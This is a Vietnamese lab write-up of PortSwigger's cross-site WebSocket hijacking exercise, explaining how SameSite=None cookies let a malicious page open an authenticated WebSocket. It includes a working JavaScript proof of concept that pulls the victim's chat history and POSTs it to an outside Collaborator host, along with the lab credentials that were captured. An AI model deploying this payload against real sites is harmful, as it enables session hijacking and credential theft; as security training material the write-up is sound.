What is Cross-site WebSocket Hijacking?

Là một lỗ hổng liên quan đến lỗ hổng CSRF trên Port Swigger - WebSocket handshake. Lỗ hổng này xảy ra khi các handshake request dựa trên các HTTP cookie để quản lý session và không có các token hoặc các giá trị không thể dự đoán.

Kẻ tấn công có thể tạo ra một trang web độc hại để thiết lập cross-site WebSocket connection đến ứng dụng bị lỗ hổng. Ứng dụng sẽ xử lý kết nối đó dựa trên session của nạn nhân.

Trang web của kẻ tấn công sau đó có thể gửi bất kỳ các thông điệp nào đến server và đọc được các thông điệp được trả về từ server. Khác với CSRF, kiểu tấn công này cho phép kẻ tấn công có được tương tác hai chiều với ứng dụng bị tấn công.

Lab: Cross-site WebSocket Hijacking

Bài lab là một cửa hàng online sử dụng WebSocket cho chat bot. Mục tiêu là trích xuất lịch sử trò chuyện để lấy credential của nạn nhân.

Truy cập vào tính năng chat thì có handshake request như sau:

GET /chat HTTP/2
Host: 0a8d0041046a8337806a1248006e0084.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Upgrade: websocket
Origin: https://0a8d0041046a8337806a1248006e0084.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: session=ayxwwmydjY3WSrOnQb8o8BzovDV3MoaW
Sec-Websocket-Key: 4GEXsnJuc/+yKLSQBMQfKg==

Đồng thời, client cũng gửi lên một message:

READY

Server trả về một message như sau:

{
  "user": "CONNECTED",
  "content": "-- Now chatting with Hal Pline --"
}

Thử chat hello thì client gửi lên message như sau:

{
  "message": "hello"
}

Server phản hồi ba message như sau:

{
  "user": "You",
  "content": "hello"
}
TYPING
{
  "user": "Hal Pline",
  "content": "I am the fount of all knowledge, but sorry I don't know that."
}

Reload trang /chat thì client vẫn sẽ gửi một READY message và server trả về danh sách các message trước đó kèm theo một CONNECTED message:

{
  "user": "You",
  "content": "hello"
}
 
{
  "user": "Hal Pline",
  "content": "I am the fount of all knowledge, but sorry I don't know that."
}
 
{
  "user": "CONNECTED",
  "content": "-- Now chatting with Hal Pline --"
}

Như vậy, nếu client gửi một READY message thì server sẽ trả về lịch sử trò chuyện.

Tất cả các message trên đều thông qua URL wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat. Thử xóa cookie và reload trang /chat thì header của response có dạng như sau:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=neDg0Cnvf4Hm1JsHm3p23GmLjSlSR3hk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 3358

Có thể thấy, cookie session sử dụng thuộc tính SameSite=None1 nên ta có thể tấn công CSRF vào handshake request nhằm mở kết nối đến WebSocket server dưới danh nghĩa của người dùng và truy xuất lịch sử trò chuyện.

Xây dựng PoC như sau:

<html>
 
<body>
  <script>
    const ws = new WebSocket("wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat");
    
    ws.onopen = function (event) {
      console.log('Connected to WebSocket server');
 
      const message = "READY";
      console.log(`Sending ${message}`);
      ws.send(message);
    };
    
    ws.onmessage = function (event) {
      const attackerServer = "https://npgx2wqjos7ejranyfyayta950brzond.oastify.com";
      fetch(attackerServer, {
        body: `Server's message: ${event.data}`,
        method: 'POST'
      });
    }
  </script>
</body>
 
</html>

Phân tích PoC trên:

  • Ta mở một kết nối WebSocket đến URL wss://0a8d0041046a8337806a1248006e0084.web-security-academy.net/chat.
  • Lắng nghe sự kiện mở kết nối thông qua method onopen.
  • Sau khi mở kết nối thành công thì ta gửi READY message cho server.
  • Lắng nghe các message từ server thông qua method onmessage. Khi nhận được message thì sẽ gửi POST request có chứa nội dung message đến subdomain của Burp Suite Collaborator. Chúng ta cũng có thể gửi GET request đến exploit server.

Lưu PoC trên ở exploit server của lab rồi nhấn View exploit thì nhận được các HTTP request có chứa lịch sử trò chuyện của session hiện tại đến Collaborator server.

Nhấn Deliver exploit to victim thì ta thu được lịch sử trò chuyện khác và có một request có nội dung như sau:

POST / HTTP/1.1
Host: npgx2wqjos7ejranyfyayta950brzond.oastify.com
Connection: keep-alive
Content-Length: 100
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://exploit-0a5c002504ce83b680ec117001ae00d9.exploit-server.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://exploit-0a5c002504ce83b680ec117001ae00d9.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
 
Server's message: {"user":"Hal Pline","content":"No problem carlos, it&apos;s hzzw9ioyx7al16un4a6w"}

Có thể thấy, message có chứa username là carlos và password là hzzw9ioyx7al16un4a6w.

list
from outgoing([[Port Swigger - Cross-Site WebSocket Hijacking]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm SameSite